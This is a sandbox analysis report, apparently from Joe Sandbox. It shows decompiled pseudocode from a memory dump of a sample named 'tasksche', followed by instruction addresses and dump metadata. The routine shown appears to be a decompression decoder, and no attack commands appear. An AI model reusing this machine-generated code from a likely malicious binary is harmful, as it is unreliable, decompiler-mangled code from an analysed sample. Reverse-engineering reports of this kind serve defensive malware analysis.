											_t554 = (_t457 >> 2) - 1;
											_v16 = ((_t457 & 0x00000003 | 0x00000004) << _t554) + 2;
											__eflags = _t554;
											if(_t554 > 0) {
												_t506 = E0040978C(_t758);
												_t676 = 0x10;
												_v16 = _v16 + (_t506 >> _t676 - _t554);
												_t509 =  *(_t758 + 4) + _t554;
												 *_t758 =  *_t758 + (_t509 >> 3);
												_t510 = _t509 & 0x00000007;
												__eflags = _t510;
												 *(_t758 + 4) = _t510;
											}
										} else {
											_v16 = _t457 + 2;
										}
										_a4 = _v16;
										_t464 = E0040978C(_t758);
										_t733 =  *(_t760 + 0x1004);
										_t465 = _t464 & 0x0000fffe;
										__eflags = _t465 -  *((intOrPtr*)(_t760 + 0xf84 + _t733 * 4));
										if(_t465 >=  *((intOrPtr*)(_t760 + 0xf84 + _t733 * 4))) {
											_t555 = 0xf;
											_t633 = _t733 + 1;
											__eflags = _t633 - _t555;
											if(_t633 >= _t555) {
												L49:
												_t635 =  *(_t758 + 4) + _t555;
												 *(_t758 + 4) = _t635 & 0x00000007;
												 *_t758 =  *_t758 + (_t635 >> 3);
												_t637 = 0x10;
												_t468 = (_t465 -  *((intOrPtr*)(_t760 + 0xf80 + _t555 * 4)) >> _t637 - _t555) +  *((intOrPtr*)(_t760 + 0xfc4 + _t555 * 4));
												__eflags = _t468 -  *((intOrPtr*)(_t760 + 0xf80));
												if(_t468 >=  *((intOrPtr*)(_t760 + 0xf80))) {
													_t468 = 0;
													__eflags = 0;
												}
												_t469 =  *(_t760 + 0x1c08 + _t468 * 2) & 0x0000ffff;
												goto L52;
											} else {
												_t753 = _t760 + 0xf84 + _t633 * 4;
												while(1) {
													__eflags = _t465 -  *_t753;
													if(_t465 <  *_t753) {
														_t555 = _t633;
														goto L49;
													}
													_t633 = _t633 + 1;
													_t753 = _t753 + 4;
													__eflags = _t633 - 0xf;
													if(_t633 < 0xf) {
														continue;
													} else {
														goto L49;
													}
												}
												goto L49;
											}
										} else {
											_t670 = 0x10;
											_t505 = _t465 >> _t670 - _t733;
											_t673 = ( *(_t505 + _t760 + 0x1008) & 0x000000ff) +  *(_t758 + 4);
											 *_t758 =  *_t758 + (_t673 >> 3);
											 *(_t758 + 4) = _t673 & 0x00000007;
											_t469 =  *(_t760 + 0x1408 + _t505 * 2) & 0x0000ffff;
											L52:
											__eflags = _t469 - 4;
											if(_t469 >= 4) {
												_t558 = (_t469 >> 1) - 1;
												_v12 = ((_t469 & 0x00000001 | 0x00000002) << _t558) + 1;
												__eflags = _t558;
												if(_t558 <= 0) {
													L71:
													_t559 = _v12;
													__eflags = _t559 - 0x100;
													if(_t559 > 0x100) {
														_a4 = _v16 + 1;
														__eflags = _t559 - 0x2000;
														if(_t559 > 0x2000) {
															_a4 = _a4 + 1;
															__eflags = _t559 - 0x40000;
															if(_t559 > 0x40000) {
																_t147 =  &_a4;
																 *_t147 = _a4 + 1;
																__eflags =  *_t147;
															}
														}
													}
													__eflags =  *((char*)(_t760 + 0x4c38));
													_t640 = _a4;
													 *((intOrPtr*)(_t760 + 0x60)) =  *((intOrPtr*)(_t760 + 0x5c));
													 *((intOrPtr*)(_t760 + 0x5c)) =  *((intOrPtr*)(_t760 + 0x58));
													 *((intOrPtr*)(_t760 + 0x58)) =  *((intOrPtr*)(_t760 + 0x54));
													 *((intOrPtr*)(_t760 + 0x54)) = _t559;
													 *(_t760 + 0x68) = _t640;
													_t477 = _t760 + 0x70;
													if( *((char*)(_t760 + 0x4c38)) == 0) {
														_t736 =  *_t477;
														_v8 = _t640;
														_t642 = _t736 - _t559;
														_t561 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
														_v16 = _t642;
														__eflags = _t642 - _t561;
														if(_t642 >= _t561) {
															L97:
															__eflags = _a4;
															if(_a4 <= 0) {
																while(1) {
																	 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																	if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																		goto L15;
																	} else {
																		_t540 = _t760 + 0x80;
																	}
																	goto L7;
																}
															}
															L98:
															_t562 =  *(_t760 + 0xe6dc);
															do {
																_v8 = _v8 - 1;
																 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t477)) =  *((intOrPtr*)((_t642 & _t562) +  *((intOrPtr*)(_t760 + 0x4b34))));
																_t562 =  *(_t760 + 0xe6dc);
																_t642 = _v16 + 1;
																__eflags = _v8;
																_v16 = _t642;
																 *_t477 =  *_t477 + 0x00000001 & _t562;
															} while (_v8 > 0);
															continue;
															do {
																while(1) {
																	 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																	if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																		goto L15;
																	} else {
																		_t540 = _t760 + 0x80;
																	}
																	goto L7;
																}
																goto L97;
															} while (_a4 <= 0);
															goto L98;
														}
														__eflags = _t736 - _t561;
														if(_t736 >= _t561) {
															goto L97;
														}
														_t551 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t642;
														_v16 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t736;
														_t648 = _a4;
														 *_t477 = _t736 + _t648;
														__eflags = _v12 - _t648;
														if(_v12 >= _t648) {
															__eflags = _t648 - 8;
															if(_t648 < 8) {
																L88:
																_t625 = _v8;
																L89:
																__eflags = _t625;
																if(_t625 > 0) {
																	_t447 = _v16;
																	 *_t447 =  *_t551;
																	__eflags = _t625 - 1;
																	if(_t625 > 1) {
																		 *((char*)(_t447 + 1)) =  *((intOrPtr*)(_t551 + 1));
																		__eflags = _t625 - 2;
																		if(_t625 > 2) {
																			 *((char*)(_t447 + 2)) =  *((intOrPtr*)(_t551 + 2));
																			__eflags = _t625 - 3;
																			if(_t625 > 3) {
																				 *((char*)(_t447 + 3)) =  *((intOrPtr*)(_t551 + 3));
																				__eflags = _t625 - 4;
																				if(_t625 > 4) {
																					 *((char*)(_t447 + 4)) =  *((intOrPtr*)(_t551 + 4));
																					__eflags = _t625 - 5;
																					if(_t625 > 5) {
																						 *((char*)(_t447 + 5)) =  *((intOrPtr*)(_t551 + 5));
																						__eflags = _t625 - 6;
																						if(_t625 > 6) {
																							 *((char*)(_t447 + 6)) =  *((intOrPtr*)(_t551 + 6));
																						}
																					}
																				}
																			}
																		}
																	}
																}
																continue;
																do {
																	while(1) {
																		 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																		if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																			goto L15;
																		} else {
																			_t540 = _t760 + 0x80;
																		}
																		goto L7;
																	}
																	L162:
																	__eflags = _v12;
																} while (_v12 <= 0);
																_t541 =  *(_t760 + 0xe6dc);
																do {
																	_a4 = _a4 - 1;
																	 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t420)) =  *((intOrPtr*)((_t593 & _t541) +  *((intOrPtr*)(_t760 + 0x4b34))));
																	_t541 =  *(_t760 + 0xe6dc);
																	_t593 = _v8 + 1;
																	__eflags = _a4;
																	_v8 = _t593;
																	 *_t420 =  *_t420 + 0x00000001 & _t541;
																} while (_a4 > 0);
																continue;
																do {
																	do {
																		do {
																			goto L7;
																			L107:
																			_t445 =  *(_t760 + 0x68);
																			__eflags = _t445;
																		} while (_t445 == 0);
																		__eflags =  *((char*)(_t760 + 0x4c38));
																		if( *((char*)(_t760 + 0x4c38)) == 0) {
																			_a4 = _t445;
																			_t446 = _t760 + 0x70;
																			_t713 =  *_t446;
																			_t618 = _t713 -  *((intOrPtr*)(_t760 + 0x54));
																			_t547 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
																			_v16 = _t618;
																			__eflags = _t618 - _t547;
																			if(_t618 >= _t547) {
																				goto L121;
																			}
																			__eflags = _t713 - _t547;
																			if(_t713 >= _t547) {
																				goto L121;
																			}
																			_t551 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t618;
																			_v16 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t713;
																			_t624 = _a4;
																			 *_t446 = _t713 + _t624;
																			__eflags =  *((intOrPtr*)(_t760 + 0x54)) - _t624;
																			if( *((intOrPtr*)(_t760 + 0x54)) >= _t624) {
																				__eflags = _t624 - 8;
																				if(_t624 < 8) {
																					L120:
																					_t625 = _a4;
																					goto L89;
																				}
																				_t449 = _t624 >> 3;
																				__eflags = _t449;
																				_v12 = _t449;
																				do {
																					E0041C290(_t551, _t758, _t760, _v16, _t551, 8);
																					_v16 = _v16 + 8;
																					_a4 = _a4 - 8;
																					_t761 = _t761 + 0xc;
																					_t551 = _t551 + 8;
																					_t263 =  &_v12;
																					 *_t263 = _v12 - 1;
																					__eflags =  *_t263;
																				} while ( *_t263 != 0);
																				goto L120;
																			}
																			__eflags = _t624 - 8;
																			if(_t624 < 8) {
																				goto L120;
																			}
																			_t451 = _v16;
																			_t627 = _t624 >> 3;
																			__eflags = _t627;
																			do {
																				_a4 = _a4 - 8;
																				 *_t451 =  *_t551;
																				 *((char*)(_t451 + 1)) =  *((intOrPtr*)(_t551 + 1));
																				 *((char*)(_t451 + 2)) =  *((intOrPtr*)(_t551 + 2));
																				 *((char*)(_t451 + 3)) =  *((intOrPtr*)(_t551 + 3));
																				 *((char*)(_t451 + 4)) =  *((intOrPtr*)(_t551 + 4));
																				 *((char*)(_t451 + 5)) =  *((intOrPtr*)(_t551 + 5));
																				 *((char*)(_t451 + 6)) =  *((intOrPtr*)(_t551 + 6));
																				 *((char*)(_t451 + 7)) =  *((intOrPtr*)(_t551 + 7));
																				_t551 = _t551 + 8;
																				_t451 = _t451 + 8;
																				_t627 = _t627 - 1;
																				__eflags = _t627;
																			} while (_t627 != 0);
																			_v16 = _t451;
																			goto L120;
																		}
																		_push( *(_t760 + 0xe6dc));
																		_push(_t760 + 0x70);
																		_push( *((intOrPtr*)(_t760 + 0x54)));
																		_push(_t445);
																		goto L77;
																		L103:
																		_t456 = E00415771(_t760,  &_v32);
																		__eflags = _t456;
																	} while (_t456 != 0);
																	goto L104;
																	L121:
																	__eflags = _a4;
																} while (_a4 <= 0);
																_t548 =  *(_t760 + 0xe6dc);
																do {
																	_a4 = _a4 - 1;
																	 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t446)) =  *((intOrPtr*)((_t618 & _t548) +  *((intOrPtr*)(_t760 + 0x4b34))));
																	_t548 =  *(_t760 + 0xe6dc);
																	_t618 = _v16 + 1;
																	__eflags = _a4;
																	_v16 = _t618;
																	 *_t446 =  *_t446 + 0x00000001 & _t548;
																} while (_a4 > 0);
																 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																	goto L15;
																} else {
																	_t540 = _t760 + 0x80;
																}
															}
															_t479 = _a4 >> 3;
															__eflags = _t479;
															_a4 = _t479;
															do {
																E0041C290(_t551, _t758, _t760, _v16, _t551, 8);
																_v16 = _v16 + 8;
																_v8 = _v8 - 8;
																_t761 = _t761 + 0xc;
																_t551 = _t551 + 8;
																_t195 =  &_a4;
																 *_t195 = _a4 - 1;
																__eflags =  *_t195;
															} while ( *_t195 != 0);
															goto L88;
														}
														__eflags = _t648 - 8;
														if(_t648 < 8) {
															goto L88;
														}
														_t482 = _t648 >> 3;
														__eflags = _t482;
														_t649 = _t482;
														_t483 = _v16;
														do {
															_v8 = _v8 - 8;
															 *_t483 =  *_t551;
															 *((char*)(_t483 + 1)) =  *((intOrPtr*)(_t551 + 1));
															 *((char*)(_t483 + 2)) =  *((intOrPtr*)(_t551 + 2));
															 *((char*)(_t483 + 3)) =  *((intOrPtr*)(_t551 + 3));
															 *((char*)(_t483 + 4)) =  *((intOrPtr*)(_t551 + 4));
															 *((char*)(_t483 + 5)) =  *((intOrPtr*)(_t551 + 5));
															 *((char*)(_t483 + 6)) =  *((intOrPtr*)(_t551 + 6));
															 *((char*)(_t483 + 7)) =  *((intOrPtr*)(_t551 + 7));
															_t551 = _t551 + 8;
															_t483 = _t483 + 8;
															_t649 = _t649 - 1;
															__eflags = _t649;
														} while (_t649 != 0);
														_v16 = _t483;
														goto L88;
													} else {
														_push( *(_t760 + 0xe6dc));
														_push(_t477);
														_push(_t559);
														_push(_t640);
														L77:
														E0041264A();
														while(1) {
															 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
															if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																goto L15;
															} else {
																_t540 = _t760 + 0x80;
															}
															goto L7;
														}
													}
												}
												__eflags = _t558 - 4;
												if(__eflags < 0) {
													_t486 = E00412AEB(_t758);
													_t651 = 0x20;
													_v12 = _v12 + (_t486 >> _t651 - _t558);
													_t489 =  *(_t758 + 4) + _t558;
													 *_t758 =  *_t758 + (_t489 >> 3);
													_t490 = _t489 & 0x00000007;
													__eflags = _t490;
													 *(_t758 + 4) = _t490;
													goto L71;
												}
												if(__eflags > 0) {
													_t498 = E00412AEB(_t758);
													_t668 = 0x24;
													_v12 = _v12 + (_t498 >> _t668 - _t558 << 4);
													_t569 =  *(_t758 + 4) + _t558 - 4;
													 *_t758 =  *_t758 + (_t569 >> 3);
													_t570 = _t569 & 0x00000007;
													__eflags = _t570;
													 *(_t758 + 4) = _t570;
												}
												_t491 = E0040978C(_t758);
												_t565 =  *(_t760 + 0x1ef0);
												_t492 = _t491 & 0x0000fffe;
												__eflags = _t492 -  *((intOrPtr*)(_t760 + 0x1e70 + _t565 * 4));
												if(_t492 >=  *((intOrPtr*)(_t760 + 0x1e70 + _t565 * 4))) {
													_t750 = 0xf;
													_t656 = _t565 + 1;
													__eflags = _t656 - _t750;
													if(_t656 >= _t750) {
														L66:
														_t658 =  *(_t758 + 4) + _t750;
														 *(_t758 + 4) = _t658 & 0x00000007;
														 *_t758 =  *_t758 + (_t658 >> 3);
														_t660 = 0x10;
														_t495 = (_t492 -  *((intOrPtr*)(_t760 + 0x1e6c + _t750 * 4)) >> _t660 - _t750) +  *((intOrPtr*)(_t760 + 0x1eb0 + _t750 * 4));
														__eflags = _t495 -  *((intOrPtr*)(_t760 + 0x1e6c));
														if(_t495 >=  *((intOrPtr*)(_t760 + 0x1e6c))) {
															_t495 = 0;
															__eflags = 0;
														}
														_t496 =  *(_t760 + 0x2af4 + _t495 * 2) & 0x0000ffff;
														goto L69;
													}
													_t568 = _t760 + 0x1e70 + _t656 * 4;
													while(1) {
														__eflags = _t492 -  *_t568;
														if(_t492 <  *_t568) {
															break;
														}
														_t656 = _t656 + 1;
														_t568 = _t568 + 4;
														__eflags = _t656 - 0xf;
														if(_t656 < 0xf) {
															continue;
														}
														goto L66;
													}
													_t750 = _t656;
													goto L66;
												} else {
													_t662 = 0x10;
													_t497 = _t492 >> _t662 - _t565;
													_t665 = ( *(_t497 + _t760 + 0x1ef4) & 0x000000ff) +  *(_t758 + 4);
													 *_t758 =  *_t758 + (_t665 >> 3);
													 *(_t758 + 4) = _t665 & 0x00000007;
													_t496 =  *(_t760 + 0x22f4 + _t497 * 2) & 0x0000ffff;
													L69:
													_v12 = _v12 + _t496;
													goto L71;
												}
											}
											_v12 = _t469 + 1;
											goto L71;
										}
									}
								} else {
									__eflags =  *((char*)(_t760 + 0x4c38));
									if( *((char*)(_t760 + 0x4c38)) == 0) {
										 *( *((intOrPtr*)(_t760 + 0x4b34)) +  *(_t760 + 0x70)) = _t530;
										 *(_t760 + 0x70) =  *(_t760 + 0x70) + 1;
									} else {
										 *(_t760 + 0x70) =  *(_t760 + 0x70) + 1;
										 *(E00412612(_t760 + 0x4b38,  *(_t760 + 0x70))) = _t530;
									}
									while(1) {
										 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
										if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
											goto L15;
										} else {
											_t540 = _t760 + 0x80;
										}
										goto L7;
									}
								}
							}
						}
						__eflags = _t398 - _t574;
						if(_t398 == _t574) {
							goto L21;
						}
						E00415346(_t760);
						_t517 =  *((intOrPtr*)(_t760 + 0x4c54));
						__eflags = _t517 -  *((intOrPtr*)(_t760 + 0x4c44));
						if(__eflags > 0) {
							goto L105;
						}
						if(__eflags < 0) {
							L20:
							__eflags =  *((char*)(_t760 + 0x4c48));
							if( *((char*)(_t760 + 0x4c48)) != 0) {
								 *((char*)(_t760 + 0x4c58)) = 0;
								return _t517;
							}
							goto L21;
						}
						_t517 =  *((intOrPtr*)(_t760 + 0x4c50));
						__eflags = _t517 -  *((intOrPtr*)(_t760 + 0x4c40));
						if(_t517 >  *((intOrPtr*)(_t760 + 0x4c40))) {
							goto L105;
						}
						goto L20;
					}
				}
				E004157DB(__ecx, _a4);
				_t517 = E004123EB(_t526, _t760);
				if(_t517 == 0) {
					goto L105;
				}
				_t759 = _t760 + 0x80;
				_push(_t760 + 0x80);
				_t572 = _t760 + 4;
				_push(_t760 + 4);
				_t517 = E0041450F(_t760 + 4, _t760);
				if(_t517 == 0) {
					goto L105;
				}
				_t517 = E0041462B(_t572, _t760, _t572, _t759, _t760 + 0x94);
				if(_t517 == 0) {
					goto L105;
				}
				goto L4;
			}

0x00416c47
0x00416c51
0x00416c58
0x00416ca3
0x00416ca3
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00416cbc
0x00416cbc
0x00416cca
0x00416ccc
0x00000000
0x00000000
0x00416ce2
0x00417282
0x00000000
0x00417284
0x00416ce8
0x00416ce9
0x00416cec
0x00416cf3
0x0041728d
0x0041728d
0x00416cf9
0x00416d04
0x00416d0b
0x00000000
0x00000000
0x00000000
0x00000000
0x00416d0b
0x00416cf3
0x00416d14
0x00416d19
0x00416d1b
0x00000000
0x00000000
0x00416d21
0x00416d21
0x00416d27
0x00416d34
0x00416d3a
0x00416d7a
0x00416d7c
0x00416d81
0x00416d87
0x00416d8c
0x00416d93
0x00416dc0
0x00416dc1
0x00416dc4
0x00416dc6
0x00416de0
0x00416de3
0x00416dea
0x00416df0
0x00416dfb
0x00416e00
0x00416e07
0x00416e0d
0x00416e0f
0x00416e0f
0x00416e0f
0x00416e11
0x00000000
0x00416dc8
0x00416dc8
0x00416dcf
0x00416dcf
0x00416dd1
0x00416dde
0x00416dde
0x00416dde
0x00416dd3
0x00416dd4
0x00416dd7
0x00416dda
0x00000000
0x00416ddc
0x00000000
0x00416ddc
0x00416dda
0x00000000
0x00416dcf
0x00416d95
0x00416d97
0x00416d9a
0x00416da4
0x00416dac
0x00416db1
0x00416db4
0x00416e19
0x00416e1e
0x00416e20
0x00416e5b
0x00416e61
0x0041725b
0x0041725d
0x00417290
0x00417296
0x004173d0
0x004173d0
0x004173d6
0x004173dc
0x004173df
0x004173e1
0x004173f0
0x004173f5
0x004173f8
0x004173fd
0x00417403
0x00417408
0x0041740f
0x0041743c
0x0041743d
0x00417440
0x00417442
0x0041745c
0x0041745f
0x00417466
0x0041746c
0x00417477
0x0041747c
0x00417483
0x00417489
0x0041748b
0x0041748b
0x0041748b
0x0041748d
0x00417495
0x00417495
0x00417498
0x004174aa
0x004174b4
0x004174b7
0x004174b9
0x004174bd
0x004174c4
0x004174c9
0x004174cf
0x004174d6
0x004174d8
0x004174d8
0x004174db
0x004174db
0x0041749a
0x0041749d
0x0041749d
0x004174de
0x004174e8
0x004174eb
0x0041750b
0x0041750e
0x00417511
0x00417515
0x00417518
0x0041751e
0x00417521
0x00417523
0x00000000
0x00000000
0x00417529
0x0041752b
0x00000000
0x00000000
0x00417531
0x00417537
0x0041753c
0x0041753f
0x00417545
0x00417548
0x0041754b
0x0041759a
0x0041759d
0x004175c6
0x004175c6
0x004175ca
0x004175d0
0x004175d6
0x004175d9
0x004175db
0x004175e1
0x004175e8
0x004175eb
0x004175f1
0x004175f8
0x004175fb
0x00417601
0x00417608
0x0041760b
0x00417611
0x00417618
0x0041761b
0x00417621
0x00417628
0x0041762b
0x00417634
0x00417634
0x0041762b
0x0041761b
0x0041760b
0x004175fb
0x004175eb
0x004175db
0x00000000
0x004175ca
0x004175a2
0x004175a2
0x004175a5
0x004175a8
0x004175ae
0x004175b3
0x004175b7
0x004175bb
0x004175be
0x004175c1
0x004175c1
0x004175c1
0x004175c1
0x00000000
0x004175a8
0x0041754d
0x00417550
0x00000000
0x00000000
0x00417552
0x00417552
0x00417555
0x00417557
0x0041755a
0x0041755c
0x00417560
0x00417565
0x0041756b
0x00417571
0x00417577
0x0041757d
0x00417583
0x00417589
0x0041758c
0x0041758f
0x00417592
0x00417592
0x00417592
0x00417595
0x00000000
0x004174ed
0x004174ed
0x004174f6
0x004174f7
0x004174fa
0x00000000
0x004174fa
0x004174eb
0x00417444
0x0041744b
0x0041744b
0x0041744d
0x00000000
0x00000000
0x0041744f
0x00417450
0x00417453
0x00417456
0x00000000
0x00000000
0x00000000
0x00417458
0x0041745a
0x00000000
0x0041745a
0x00417413
0x00417416
0x00417420
0x00417428
0x0041742d
0x00417430
0x00000000
0x00000000
0x00000000
0x00000000
0x004173e3
0x004173e3
0x004173e6
0x004173e8
0x004173e9
0x004173ec
0x004173ec
0x00000000
0x004173e3
0x00000000
0x00417296
0x00417262
0x00417266
0x0041726b
0x0041726d
0x00000000
0x00000000
0x00000000
0x00416e67
0x00416e67
0x00416e6d
0x00416e70
0x00416e82
0x00416e8c
0x00416e8f
0x00416e91
0x00416e95
0x00416e9c
0x00416ea1
0x00416ea7
0x00416eae
0x00416eb0
0x00416eb0
0x00416eb3
0x00416eb3
0x00416e72
0x00416e75
0x00416e75
0x00416ebb
0x00416ebe
0x00416ec3
0x00416ec9
0x00416ece
0x00416ed5
0x00416f02
0x00416f03
0x00416f06
0x00416f08
0x00416f22
0x00416f25
0x00416f2c
0x00416f32
0x00416f3d
0x00416f42
0x00416f49
0x00416f4f
0x00416f51
0x00416f51
0x00416f51
0x00416f53
0x00000000
0x00416f0a
0x00416f0a
0x00416f11
0x00416f11
0x00416f13
0x00416f20
0x00416f20
0x00416f20
0x00416f15
0x00416f16
0x00416f19
0x00416f1c
0x00000000
0x00416f1e
0x00000000
0x00416f1e
0x00416f1c
0x00000000
0x00416f11
0x00416ed7
0x00416ed9
0x00416edc
0x00416ee6
0x00416eee
0x00416ef3
0x00416ef6
0x00416f5b
0x00416f5b
0x00416f5e
0x00416f70
0x00416f79
0x00416f7c
0x00416f7e
0x0041707e
0x0041707e
0x00417081
0x00417087
0x0041708d
0x00417090
0x00417096
0x00417098
0x0041709b
0x004170a1
0x004170a3
0x004170a3
0x004170a3
0x004170a3
0x004170a1
0x00417096
0x004170a6
0x004170b0
0x004170b3
0x004170b9
0x004170bf
0x004170c2
0x004170c5
0x004170c8
0x004170cb
0x004170e6
0x004170e8
0x004170ed
0x004170f5
0x004170fb
0x004170fe
0x00417100
0x00417219
0x00417219
0x0041721d
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x00417223
0x00417223
0x00417229
0x0041722f
0x00417239
0x00417241
0x00417247
0x0041724b
0x0041724f
0x00417252
0x00417252
0x00417256
0x00416ca6
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00000000
0x00416ca6
0x00000000
0x00416ca6
0x00417106
0x00417108
0x00000000
0x00000000
0x00417114
0x0041711e
0x00417121
0x00417126
0x00417128
0x0041712b
0x0041717c
0x0041717f
0x004171a8
0x004171a8
0x004171ab
0x004171ab
0x004171ad
0x004171b5
0x004171b8
0x004171ba
0x004171bd
0x004171c6
0x004171c9
0x004171cc
0x004171d5
0x004171d8
0x004171db
0x004171e4
0x004171e7
0x004171ea
0x004171f3
0x004171f6
0x004171f9
0x00417202
0x00417205
0x00417208
0x00417211
0x00417211
0x00417208
0x004171f9
0x004171ea
0x004171db
0x004171cc
0x004171bd
0x00000000
0x00416ca6
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x0041763c
0x0041763c
0x0041763c
0x00417646
0x0041764c
0x00417652
0x0041765c
0x00417664
0x0041766a
0x0041766e
0x00417672
0x00417675
0x00417675
0x00417679
0x00416ca6
0x00416ca6
0x00416ca6
0x00000000
0x0041729c
0x0041729c
0x0041729f
0x0041729f
0x004172a7
0x004172ae
0x004172c6
0x004172c9
0x004172cc
0x004172d0
0x004172d8
0x004172de
0x004172e1
0x004172e3
0x00000000
0x00000000
0x004172e9
0x004172eb
0x00000000
0x00000000
0x004172f7
0x00417301
0x00417304
0x00417309
0x0041730b
0x0041730e
0x0041735b
0x0041735e
0x00417386
0x00417386
0x00000000
0x00417386
0x00417362
0x00417362
0x00417365
0x00417368
0x0041736e
0x00417373
0x00417377
0x0041737b
0x0041737e
0x00417381
0x00417381
0x00417381
0x00417381
0x00000000
0x00417368
0x00417310
0x00417313
0x00000000
0x00000000
0x00417315
0x00417318
0x00417318
0x0041731b
0x0041731d
0x00417321
0x00417326
0x0041732c
0x00417332
0x00417338
0x0041733e
0x00417344
0x0041734a
0x0041734d
0x00417350
0x00417353
0x00417353
0x00417353
0x00417356
0x00000000
0x00417356
0x004172b0
0x004172b9
0x004172ba
0x004172bd
0x00000000
0x0041726f
0x00417275
0x0041727a
0x0041727a
0x00000000
0x0041738e
0x0041738e
0x0041738e
0x00417398
0x0041739e
0x004173a4
0x004173ae
0x004173b6
0x004173bc
0x004173c0
0x004173c4
0x004173c7
0x004173c7
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00416cb4
0x00417184
0x00417184
0x00417187
0x0041718a
0x00417190
0x00417195
0x00417199
0x0041719d
0x004171a0
0x004171a3
0x004171a3
0x004171a3
0x004171a3
0x00000000
0x0041718a
0x0041712d
0x00417130
0x00000000
0x00000000
0x00417134
0x00417134
0x00417137
0x00417139
0x0041713c
0x0041713e
0x00417142
0x00417147
0x0041714d
0x00417153
0x00417159
0x0041715f
0x00417165
0x0041716b
0x0041716e
0x00417171
0x00417174
0x00417174
0x00417174
0x00417177
0x00000000
0x004170cd
0x004170cd
0x004170d3
0x004170d4
0x004170d5
0x004170d6
0x004170dc
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x004170cb
0x00416f84
0x00416f87
0x0041705d
0x00417064
0x00417069
0x0041706f
0x00417076
0x00417078
0x00417078
0x0041707b
0x00000000
0x0041707b
0x00416f8d
0x00416f91
0x00416f98
0x00416fa0
0x00416fa6
0x00416faf
0x00416fb1
0x00416fb1
0x00416fb4
0x00416fb4
0x00416fb9
0x00416fbe
0x00416fc4
0x00416fc9
0x00416fd0
0x00416ffd
0x00416ffe
0x00417001
0x00417003
0x0041701d
0x00417020
0x00417027
0x0041702d
0x00417038
0x0041703d
0x00417044
0x0041704a
0x0041704c
0x0041704c
0x0041704c
0x0041704e
0x00000000
0x0041704e
0x00417005
0x0041700c
0x0041700c
0x0041700e
0x00000000
0x00000000
0x00417010
0x00417011
0x00417014
0x00417017
0x00000000
0x00000000
0x00000000
0x00417019
0x0041701b
0x00000000
0x00416fd2
0x00416fd4
0x00416fd7
0x00416fe1
0x00416fe9
0x00416fee
0x00416ff1
0x00417056
0x00417056
0x00000000
0x00417056
0x00416fd0
0x00416f61
0x00000000
0x00416f61
0x00416ed5
0x00416e22
0x00416e22
0x00416e29
0x00416e50
0x00416e53
0x00416e2b
0x00416e31
0x00416e40
0x00416e40
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00000000
0x00416cb4
0x00416ca6
0x00416e20
0x00416d93
0x00416d3c
0x00416d3e
0x00000000
0x00000000
0x00416d42
0x00416d47
0x00416d4d
0x00416d53
0x00000000
0x00000000
0x00416d59
0x00416d6d
0x00416d6d
0x00416d74
0x0041767e
0x00000000
0x0041767e
0x00000000
0x00416d74
0x00416d5b
0x00416d61
0x00416d67
0x00000000
0x00000000
0x00000000
0x00416d67
0x00416ca6
0x00416c5d
0x00416c64
0x00416c6b
0x00000000
0x00000000
0x00416c71
0x00416c77
0x00416c78
0x00416c7b
0x00416c7e
0x00416c85
0x00000000
0x00000000
0x00416c96
0x00416c9d
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 345b0d20b664bc5a7c067b8b85495d146ce8f508c18b5b2458494fa8c5d0ce26
Instruction ID: ec473c390e775c3513d1f4c5f902ffdbdf11d251c2712a84011b28fca20aaef5
Opcode Fuzzy Hash: 345b0d20b664bc5a7c067b8b85495d146ce8f508c18b5b2458494fa8c5d0ce26
Instruction Fuzzy Hash: 5F72E770A087459FCB29CF24C5D0AE9BBF1EF55304F1584AED99A8B342D338E985CB58

